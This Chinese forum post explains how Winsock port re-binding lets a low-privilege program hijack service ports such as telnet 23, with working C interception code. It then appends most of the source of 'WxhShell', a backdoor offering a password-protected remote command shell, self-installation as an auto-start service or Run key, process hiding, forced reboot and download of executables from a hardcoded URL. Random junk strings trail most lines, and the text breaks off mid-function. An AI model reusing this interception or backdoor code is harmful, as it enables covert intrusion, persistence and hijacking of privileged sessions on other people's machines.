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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;0Pv49q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tM^4K r~o,  
ykx^RmD`~  
  saddr.sin_family = AF_INET; naW!b&:  
g (WP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); # )y/aA  
3TH?7wi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q;")  
 +l/v`=C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8M@'A5]  
~y2zl  
  这意味着什么?意味着可以进行如下的攻击: c#sHnpP  
s0^(yEcq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \1Xk[%  
KGHSEZi]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6oNcj_?7?q  
%KXiB6<4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p.SipQ.P  
b1Kt SRLV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {@^;Nw%J  
%^pi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <"J]u@|  
8s@N NjV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E5d$n*A  
~DI$O[KpR%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :Ko6.|  
\ph.c*c  
  #include $+!dP{   
  #include t82'K@sq  
  #include n%s%i-[5B  
  #include    cKe%P|8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >s f g`4  
  int main() ]~KLdgru_  
  { x8PT+KC  
  WORD wVersionRequested; zKO7`.*  
  DWORD ret; Z[oEW>_A  
  WSADATA wsaData; o@Oz a  
  BOOL val; CwA_jOp  
  SOCKADDR_IN saddr; DAB9-[y+  
  SOCKADDR_IN scaddr; P5h|* ?=  
  int err; ] 3"t]U'f  
  SOCKET s; z%%O-1   
  SOCKET sc; <EpL<K%  
  int caddsize; h'):/}JPl  
  HANDLE mt; GQqGrUQ*}  
  DWORD tid;   [y[d7V9_o  
  wVersionRequested = MAKEWORD( 2, 2 ); CJBf5I3  
  err = WSAStartup( wVersionRequested, &wsaData ); &12K pEyf  
  if ( err != 0 ) { *?rWS"B  
  printf("error!WSAStartup failed!\n"); ,50  
  return -1; IOcQI:4.`  
  } d;Vy59}eY  
  saddr.sin_family = AF_INET; 3@> F-N  
   |h>PUt@LL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 cz>,sz~i  
HTJ2D@h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); oJz2-P mX  
  saddr.sin_port = htons(23); mgq!)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fb5U@X/vE  
  { ~RhUg~o  
  printf("error!socket failed!\n"); \G" S7  
  return -1; 5p;AON  
  } 2$JGhgDI  
  val = TRUE; zX>W 8P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H_DCdUgC'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KA5)]UF`l  
  { t]yxLl\  
  printf("error!setsockopt failed!\n"); zfIo] M`  
  return -1; L"bOc'GfQ  
  } " O&93#8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jl Do_}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T*z]<0E]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %tCv-aX4  
lvs  XL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U v2.Jo/Q  
  { `fu_){  
  ret=GetLastError(); x84!/n^z  
  printf("error!bind failed!\n"); ) r2Y@+.FN  
  return -1; _gvFs %J  
  } !#tVQ2O  
  listen(s,2); h)KHc/S  
  while(1) *]6g-E?:@  
  { K:PH: e  
  caddsize = sizeof(scaddr); NB-dlv1  
  //接受连接请求 bz4Gzp'6k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6K/RO)  
  if(sc!=INVALID_SOCKET) zC?' Qiuh*  
  { l& :EKh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /sE,2X*BT  
  if(mt==NULL) D JP6Z  
  { 4"d,=P.{  
  printf("Thread Creat Failed!\n"); m5\T,  
  break; ewZ?+G+m  
  } U&!TA(Yr  
  } |.<_$[v[x  
  CloseHandle(mt); =~#mF<z5  
  } ZoW1Cc&p  
  closesocket(s); VF%QM;I[Rc  
  WSACleanup(); B=_w9iVN  
  return 0; FXQWT9Kk~_  
  }   pu-HEv}]a|  
  DWORD WINAPI ClientThread(LPVOID lpParam) wq)*bIv  
  { {15j'Qwm  
  SOCKET ss = (SOCKET)lpParam; 48^-]};  
  SOCKET sc; oV|O`n  
  unsigned char buf[4096]; :6n#y-9^1  
  SOCKADDR_IN saddr; `MtzA^Xr  
  long num; +C( -f  
  DWORD val; /<LZt<K  
  DWORD ret; GABZsdFZ!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BI'>\hX/V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aukcO ;oG<  
  saddr.sin_family = AF_INET; Y]z :^D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fr17|#L+s  
  saddr.sin_port = htons(23); Q@D7 \<t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?OD$`{1  
  { !3Q0Ahf  
  printf("error!socket failed!\n"); "<,lqIqA;  
  return -1; /K=OsMl2b8  
  }  |/Nh#  
  val = 100; /6x&%G:m#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P/%7kD@5;  
  { ["-rD y P  
  ret = GetLastError(); ?&B8:<qy;L  
  return -1; X! d-"[  
  } j=WxtMS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iw@rW5%'~  
  { 0PzSp ]  
  ret = GetLastError(); ZmA}i`  
  return -1; ^q7V%{54  
  } uD\R3cY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3efOgP=L  
  { n,N->t$i  
  printf("error!socket connect failed!\n"); L/k35x8  
  closesocket(sc); m+QS -woHn  
  closesocket(ss); v%tjZ5x  
  return -1; ,K5K?C$k  
  } ~i,d%a  
  while(1) !:{Qbv&T  
  { H2X_W Swm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <=(K'eqC^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r!r08y f  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 26V6Y2X  
  num = recv(ss,buf,4096,0); tXE/aY*I  
  if(num>0) l`v5e"V  
  send(sc,buf,num,0); Nr|Gw @+  
  else if(num==0) x]^d'o:cDP  
  break; K\xz|Gq  
  num = recv(sc,buf,4096,0); @iz Onc:  
  if(num>0) di\.*7l?  
  send(ss,buf,num,0); I|X`9  
  else if(num==0) ,Ag{-&  
  break; Kz'GAm\  
  } d59rq<yI  
  closesocket(ss); CD1Ma8I8  
  closesocket(sc); GT6; I7  
  return 0 ; snbXAx1L  
  } '}cSBbl&/n  
l)r\SE1  
r O87V!Cj  
========================================================== Z$z-Hx@%  
b9g2mWL\T  
下边附上一个代码,,WXhSHELL \kE0h\  
g[cnaS|?  
========================================================== '4,?YcZ?S  
wgz]R  
#include "stdafx.h" kNuvJ/St  
It*U"4lgi  
#include <stdio.h>  ?K-4T  
#include <string.h> GcM1*)$ 4  
#include <windows.h> 3.movkj  
#include <winsock2.h> xM())Z|2  
#include <winsvc.h> }B%9cc  
#include <urlmon.h> enk`I$Xx  
N8]DzE0%  
#pragma comment (lib, "Ws2_32.lib") 6;E3|st1X  
#pragma comment (lib, "urlmon.lib") fR1L VLU  
lz^Vi!|p  
#define MAX_USER   100 // 最大客户端连接数 m mF0RNE  
#define BUF_SOCK   200 // sock buffer (N/u@M  
#define KEY_BUFF   255 // 输入 buffer Q g/Rw4[  
4 95Y<x}=  
#define REBOOT     0   // 重启 u<j;+-]8h  
#define SHUTDOWN   1   // 关机 4(8c L?J`0  
 $H*8H`  
#define DEF_PORT   5000 // 监听端口 Sr+hB>{  
1_7p`Gxt[/  
#define REG_LEN     16   // 注册表键长度 m9h<)D'>  
#define SVC_LEN     80   // NT服务名长度 Boj R"  
rL<N:@HL  
// 从dll定义API fAh|43Y*a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Aa-5k3:x]=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (ot,CpI(I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ",apO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Az8b_:=  
l#uF%;GDX  
// wxhshell配置信息 o^@#pU <  
struct WSCFG { @Ez>?#z  
  int ws_port;         // 监听端口 <hzHrx'o{  
  char ws_passstr[REG_LEN]; // 口令 9q]f]S.L  
  int ws_autoins;       // 安装标记, 1=yes 0=no f0eQq;D$K  
  char ws_regname[REG_LEN]; // 注册表键名 P%B|HnG^  
  char ws_svcname[REG_LEN]; // 服务名 Tkr~)2,(I!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7!qeIz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;nlJ D#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5NkF_&S_1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F=&,=r' Q8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |>P:R4P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vJr,lBHEk  
HM(X8iNt  
}; em7L `,  
vEjf|-Mb9  
// default Wxhshell configuration 0aq{Y7sYU  
struct WSCFG wscfg={DEF_PORT, _I)TO_L;  
    "xuhuanlingzhe", u/k' ry=  
    1, =ZS Yg K  
    "Wxhshell", eG+$~\%Fub  
    "Wxhshell", CUB;0J(  
            "WxhShell Service", ^?|4<Rm  
    "Wrsky Windows CmdShell Service", yfwR``F  
    "Please Input Your Password: ", A|Ft:_Y  
  1, Zk7!CJVM  
  "http://www.wrsky.com/wxhshell.exe", F.(W`H*1+  
  "Wxhshell.exe" }A6z%|d  
    }; K}q5,P(  
f7zB_hVDmE  
// 消息定义模块 dm[JDVv|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m Urb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '"q+[zwv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Na]ITCVR  
char *msg_ws_ext="\n\rExit."; d~.hp  
char *msg_ws_end="\n\rQuit."; >q')%j  
char *msg_ws_boot="\n\rReboot..."; %X}D(_  
char *msg_ws_poff="\n\rShutdown..."; 0(C[][a*u  
char *msg_ws_down="\n\rSave to ";  vWW Q/^  
d:Z|It  
char *msg_ws_err="\n\rErr!"; BGNZE{K4"  
char *msg_ws_ok="\n\rOK!"; eVj 8u  
z$Z%us>io  
char ExeFile[MAX_PATH]; , iEGf-!k  
int nUser = 0; P;7[5HFF  
HANDLE handles[MAX_USER]; %U<lS.i  
int OsIsNt; *?Oh%.HgF  
A\"4[PXpQ  
SERVICE_STATUS       serviceStatus; ?(khoL t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3]NKAPY  
~ hP]<$v  
// 函数声明 V1i^#;  
int Install(void); yqJ>Z%)hf  
int Uninstall(void); gjJ:s,Fg  
int DownloadFile(char *sURL, SOCKET wsh); !!6@r|.  
int Boot(int flag); 1JS5 LS  
void HideProc(void); O|v8.3[cT  
int GetOsVer(void); lBG5~<NT  
int Wxhshell(SOCKET wsl); D1]?f`  
void TalkWithClient(void *cs); '*U_!RmQ  
int CmdShell(SOCKET sock); ()Img.TIt  
int StartFromService(void); I]#x0?D  
int StartWxhshell(LPSTR lpCmdLine); F(U(b_DPM  
!bW^G} <t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g |]Hm*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P=ubCS'  
`)i4ZmE|  
// 数据结构和表定义 b^~4k; <  
SERVICE_TABLE_ENTRY DispatchTable[] = rv~OfL  
{ >'3nsR  
{wscfg.ws_svcname, NTServiceMain}, /Zz [vf  
{NULL, NULL} 43`Atw`\  
}; $-]9/Ct  
-ADb5-px  
// 自我安装 ?+]   
int Install(void) Qoz4(~I  
{ JWQd6JQ_~V  
  char svExeFile[MAX_PATH]; 0b=00./o  
  HKEY key; _bCIVf`  
  strcpy(svExeFile,ExeFile); On;7  
OQ3IkE`G  
// 如果是win9x系统,修改注册表设为自启动 ` b)i;m  
if(!OsIsNt) { I_`$$-|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7U)w\A;~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Bsvk9}  
  RegCloseKey(key); nI`9|W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y<ZT~e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vf!lhV-UG+  
  RegCloseKey(key); /p{$HkVw  
  return 0; *Fd(  
    } 1:Raa5  
  } {>yy3(N  
} e1H2w? s  
else { iT~ gt/K  
aslb^  
// 如果是NT以上系统,安装为系统服务 JPe<qf-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y#J8Yv8  
if (schSCManager!=0) <[z9*Tm  
{ o|1_I?_  
  SC_HANDLE schService = CreateService l Ztw[c  
  ( P7 qzZ  
  schSCManager, h(FFG%H(  
  wscfg.ws_svcname, J'yiVneMw  
  wscfg.ws_svcdisp, i7O8f^|  
  SERVICE_ALL_ACCESS, bl8y o4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XNkZ^3mq  
  SERVICE_AUTO_START, \~:_ h#bW  
  SERVICE_ERROR_NORMAL, vn.j>;E'  
  svExeFile, : UDh{GQ*  
  NULL, 7;ddzxR4  
  NULL, "IzM:  
  NULL, ;/(<yu48  
  NULL, 03 I*@jj  
  NULL $_u)~O4$  
  ); (+.R8  
  if (schService!=0) +Y440Tz  
  { :w26d-QR(  
  CloseServiceHandle(schService); ByW,YKMy  
  CloseServiceHandle(schSCManager); 3\?yjL^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wo/LrCg  
  strcat(svExeFile,wscfg.ws_svcname); ?[hkh8|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }N#hg>; B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N'M+Z=!  
  RegCloseKey(key); IUwMIHq&sW  
  return 0; Ehg(xK  
    } MY z\ R \  
  } DZU} p  
  CloseServiceHandle(schSCManager); ?`=r@  
} @<=<?T> 1  
} XjJ[7"hs*  
LX;" Mz>  
return 1; <):= mr7  
} Xs$UpQo  
Qg gx:  
// 自我卸载 aF:|MTC(~  
int Uninstall(void) nCdxn#|  
{ McRfEF \  
  HKEY key; q,2 +\i  
wT^QO^.  
if(!OsIsNt) { 4 JDk ()  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1zJ)x?  
  RegDeleteValue(key,wscfg.ws_regname); .#}`r`/  
  RegCloseKey(key); //- ;uEO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J4q_}^/2w  
  RegDeleteValue(key,wscfg.ws_regname); ])$Rw $`w  
  RegCloseKey(key); 6%fF6  
  return 0; .a]9rQQ&_  
  } U9:I"f,  
} Eh|v>Yew  
} qI5`:PH%n  
else { rCgoU xW`  
C *U,$8j|}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <~-cp61z;  
if (schSCManager!=0) rnS&^  
{ ynU20g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -)$5[jM]  
  if (schService!=0) *MZa|Xy  
  {  nypG  
  if(DeleteService(schService)!=0) { 5BB: .  
  CloseServiceHandle(schService); &u~#bDh  
  CloseServiceHandle(schSCManager); O}mz@- Z  
  return 0; $ {5|{`  
  } )|`|Usn#[  
  CloseServiceHandle(schService); Z<@dM2b)  
  } }q D0-  
  CloseServiceHandle(schSCManager); 9a3mN(<  
} e)A-.SRiO$  
} U6yZKK  
w4(g]9^Q  
return 1; 'fr~1pmx#3  
} |++\"g  
K *xca(6  
// 从指定url下载文件 B"=w9w]  
int DownloadFile(char *sURL, SOCKET wsh) Gsa~zGN  
{ fsz:A"0H  
  HRESULT hr; |.Vs(0O  
char seps[]= "/"; n|AV7c  
char *token; k5/W'*P  
char *file; RA$q{$arb  
char myURL[MAX_PATH]; b[os0D95  
char myFILE[MAX_PATH]; mVNHH!  
'jj|bN  
strcpy(myURL,sURL); =&"x6F.`  
  token=strtok(myURL,seps); ^q)AO?_  
  while(token!=NULL) o* C_9M  
  { "z9 p(|oZ  
    file=token; 6&s" "J)3  
  token=strtok(NULL,seps); ds;c\x  
  } \<0xg[  
c@Q&i  
GetCurrentDirectory(MAX_PATH,myFILE); ['jr+gIfQ  
strcat(myFILE, "\\"); {dXmSuO  
strcat(myFILE, file); b  >x03%  
  send(wsh,myFILE,strlen(myFILE),0); crl"Ec  
send(wsh,"...",3,0); TAp8x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =u 3YRqz  
  if(hr==S_OK) Ze"m;T  
return 0; 28x:]5=jb  
else GiS:Nq`$(  
return 1; i.Z iLDs\7  
z[+Sb;  
} =:;K nS  
Df5!z\dx  
// 系统电源模块 k<}3_   
int Boot(int flag) gnN"6r1  
{ _:7:ixN[Ie  
  HANDLE hToken; CRs@x` 5ue  
  TOKEN_PRIVILEGES tkp; OAo;vC:^  
Ge1b_?L_  
  if(OsIsNt) { Q:U>nm>xA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |qz&d=>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TX).*%f [r  
    tkp.PrivilegeCount = 1; 1\ Gxk&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5jAS1XG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6KDm#7J  
if(flag==REBOOT) { wDDNB1_ E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  L30$  
  return 0; / }Pj^^6A<  
} y;<F|zIm  
else {  ) fQ1U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z ygu/M 6  
  return 0; N;gY5;0m  
} 3 #"!Hg  
  } M;9s  
  else { Z rv:uEl  
if(flag==REBOOT) { spT$}F2n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :!ablO~  
  return 0; H3L uRGe&2  
}  ZvwU  
else { |y pX O3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ot`znJU@  
  return 0; 54].p7  
} 83J6 3Xa  
} CaC \\5wl  
%,(X R`  
return 1; z(Z7[#.  
} ohjl*dw  
SY.ZEJcv  
// win9x进程隐藏模块 }N&? 8s=  
void HideProc(void) |DYgc$2pN  
{ X;n09 L`CB  
?dPr HSy  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }bSDhMV;  
  if ( hKernel != NULL ) QBh*x/J  
  { ;Yt+ {pI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OG9 '[o`8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )-0+O=v  
    FreeLibrary(hKernel); 6j!idA!'  
  } JIIc4fyy8s  
\SoT^PW  
return; iI>7I<_  
} 8L+A&^qx  
D5!#c-Y-  
// 获取操作系统版本 (%OZ `?`  
int GetOsVer(void) --EDr>'D5P  
{ xS>vmnW  
  OSVERSIONINFO winfo; mfG m>U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {1qr6P,"  
  GetVersionEx(&winfo); 5KP\#Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e{9~m  
  return 1; ik #Wlz`4  
  else OE}FZCX F  
  return 0; p8 Ao{  
} \KzH5?  
cg o  
// 客户端句柄模块 )E}@h%d  
int Wxhshell(SOCKET wsl) jZC[_p;  
{ TMo DN%{  
  SOCKET wsh; )ki Gk}2  
  struct sockaddr_in client; e`:^7$  
  DWORD myID; YWs?2I  
r<4j;"lQK  
  while(nUser<MAX_USER) vK[%c A"  
{ DVVyWn[  
  int nSize=sizeof(client); [uK{``"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jRd$Vt  
  if(wsh==INVALID_SOCKET) return 1; W+/_0GgQ3  
rwVp}H G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V[uSo$k+>  
if(handles[nUser]==0) gb|;]mk*"  
  closesocket(wsh); % 1$#fxR  
else ma+AFCi  
  nUser++; ca,W:9#.xn  
  } Ix}6%2\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fi67"*gE  
ZOMYo]  
  return 0; |35OA/O?X  
} 8Y.9%@  
NPS*0y/  
// 关闭 socket WubV?NX;EF  
void CloseIt(SOCKET wsh) -fl6M-CYX  
{ 0#Lmajs  
closesocket(wsh); ,`k&9o7  
nUser--; k}Q<#   
ExitThread(0); D[#V  
} pmvd%X\f  
o.Rv<a5.L  
// 客户端请求句柄 YcX\t6VK  
void TalkWithClient(void *cs) (y 7X1Qc)  
{ CUYA:R<)  
W.?/p~  
  SOCKET wsh=(SOCKET)cs; [5& nH@og  
  char pwd[SVC_LEN]; _1&Ar4:  
  char cmd[KEY_BUFF]; U31@++C[  
char chr[1]; TKv!wKI  
int i,j; (Jw_2pHxr"  
UUlz3"`  
  while (nUser < MAX_USER) { eF22 ~P  
GaG>0 x   
if(wscfg.ws_passstr) { UJSIbb5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3>-h- cpMX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Qlc?Wl:  
  //ZeroMemory(pwd,KEY_BUFF); xBA"w:<  
      i=0; w+R7NFq  
  while(i<SVC_LEN) { r O$pj~!|Q  
Q`<{cFsU  
  // 设置超时 xdm\[s  
  fd_set FdRead; %g}d}5s  
  struct timeval TimeOut; T5."3i  
  FD_ZERO(&FdRead); PnA{@n\  
  FD_SET(wsh,&FdRead); HDhISPg  
  TimeOut.tv_sec=8; {9U!0h-2"  
  TimeOut.tv_usec=0; c\1X NPGG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #mw !_]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PY.K_(D  
$M 8& &M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3W%6n-*u  
  pwd=chr[0]; Iz09O:ER  
  if(chr[0]==0xd || chr[0]==0xa) { dA~:L`A|X  
  pwd=0; %-540V{q  
  break; bGH#s {'5  
  } 1N8] ~ j  
  i++; _|#abLh%  
    } k.ou$mIY  
6iyl8uL0J  
  // 如果是非法用户,关闭 socket dZ`Y>wH_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sv% X8  
} `Npa/Q  
B>^6tdz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mvEhP{w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A-CU%G9  
0Idek  
while(1) { vPNbV  
q!z"YpYB  
  ZeroMemory(cmd,KEY_BUFF); z4:!*:.Asu  
Xfq`k/ W  
      // 自动支持客户端 telnet标准   l/'GbuECm  
  j=0; wf\"&xwh?  
  while(j<KEY_BUFF) { /:4J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NZB*;U~t  
  cmd[j]=chr[0]; N>H@vt~  
  if(chr[0]==0xa || chr[0]==0xd) { 4^L;]v,|7  
  cmd[j]=0; u /F!8#  
  break;  pux IJ  
  } ?}cmES kX@  
  j++; Vke<; k-  
    } `MOw\Z)..  
Ek)drt7cy  
  // 下载文件 V!He2<  
  if(strstr(cmd,"http://")) { ; j!dbT~5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hu}$\  
  if(DownloadFile(cmd,wsh)) el9P@r0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)_n?>Ar  
  else g-sNYd%?a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 90Ki.K0  
  } m)tu~ neM  
  else { ~S8:xG+s  
" ]S  
    switch(cmd[0]) { + `|A/w  
  _re# b?  
  // 帮助 [I *_0  
  case '?': { 'Lrn<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lmeTW0U@9(  
    break; 7?Wte&C];p  
  } Z}+}X|  
  // 安装 qIi \[Ugh  
  case 'i': { a2Ak?W1  
    if(Install()) T8o](:B~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "2cOSPpQL  
    else 6gV*G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7iP+!e}$.  
    break; FiUQ2w4  
    } ~1uQyt  
  // 卸载 f{P1.?a  
  case 'r': { W8d-4')|  
    if(Uninstall()) +S4n416K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k1wIb']m]z  
    else O4R\] B#Xu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VQ9A/DH/  
    break; 0g?)j-  
    } 28!C#.(h  
  // 显示 wxhshell 所在路径 cb}zCl j o  
  case 'p': { C"I jr=w  
    char svExeFile[MAX_PATH]; E4 X6f  
    strcpy(svExeFile,"\n\r"); uM2@&)u  
      strcat(svExeFile,ExeFile); %O \@rws  
        send(wsh,svExeFile,strlen(svExeFile),0); `Lr], >aG  
    break; _(N+z.  
    } cC/h7o dY  
  // 重启 jWrU'X  
  case 'b': { T9nb ~ P[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !.vyzCJTzB  
    if(Boot(REBOOT)) l\UjvG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j, 0`k  
    else { [Hh-F#|R  
    closesocket(wsh); |}=eY?iXo  
    ExitThread(0); KQ\K :#  
    } =CLPz8  
    break; 6 5g ovor  
    } |v!N1+v0  
  // 关机 (]]hSkE  
  case 'd': { p@tg pFt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vIV|y>;g  
    if(Boot(SHUTDOWN)) u$T]A8e  
